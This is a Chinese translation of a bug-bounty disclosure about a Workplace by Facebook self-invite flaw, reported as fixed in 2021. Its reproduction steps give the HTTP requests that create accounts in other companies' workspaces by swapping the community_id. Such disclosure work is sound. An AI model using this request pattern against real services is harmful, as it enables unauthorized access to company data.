原文:
https://mvinni.medium.com/workplace-by-facebook-unauthorized-access-to-companies-environment-27-5k-a593a57092f1
简介:WORKSPACE是一个企业社交网络,类似国内的飞书吧。在Workplace中,管理员可以选择激活一个“自我邀请”的选项,该选项使任何人都可以输入且无需管理员验证电子邮件地址。
INFO:https://www.workplace.com/help/work/336227380906523
服务器未正确验证注册时使用的电子邮件,允许通过未经管理员验证的电子邮件创建帐户。会导致恶意攻击者利用该漏洞攻击在workspace中开启了自主邀请的企业。
细节:
通过分析“来自Facebook的工作场所” Android应用程序上的网络流量,我能够找到此问题。
- 在我的Workspace中注册了一个新帐户在了Burp Suite的“历史记录”选项卡中,我遇到了以下请求:

在对该端点进行了一些测试之后,我得出结论,仅通过修改“ community_id”就可以在其他工作场所中创建帐户
使用个人电子邮件帐户(@gmail.com),已经可以执行此漏洞。
复现步骤:
- 请求激活码:
POST /at_work/accounts_send_notification HTTP/1.1
Host: graph.workplace.com
identifier=test@gmail.com
pre_login_flow_type=SIGNUP
access_token=*****
成功收到激活码。


- 创建一个Facebook Workplace帐户:
POST /at_work/accounts_self_invite HTTP/1.1
Host: graph.workplace.com
identifier\=test@gmail.com
nonce\=998236
community_id=86381-----------
form_data={"name":"Test","password":"Test1234@"}
access_token=*****
- nonce :第一步的激活码。
- community_id :目标公司的社区ID。
\==
!该帐户已成功创建,现在攻击者可以自由访问目标公司的文件,照片,组,电子邮件和其他数据。
不计算员工的风险...
\==
然而…
- 攻击者必须具有目标公司所在社区的ID。这可以通过蛮力来解决,也可以与公司的一些前雇员一起解决。
- 收到赏金后的几天,我能够找到一个端点,该端点为Workplace中的任何公司提供了community_id。
时间线:
2021年1月11日-初始报告2021年
1月25日-已于2021年
2月9日进行过尝试-修正了错误2021年
2月23日-获得了赏金
译者按:
作者在一处自我邀请的功能出发现可以未经管理员验证(自动批准)就可随意添加企业workspace管理员的功能,并且企业community_id可控。最终可以导致未授权访问任意符合条件的企业工作环境。带来的思考是在常规漏洞越发难挖的情况下,去多看看开发/帮助文档,可能漏洞就写在文档里。
本文迁移自知识星球“火线Zone”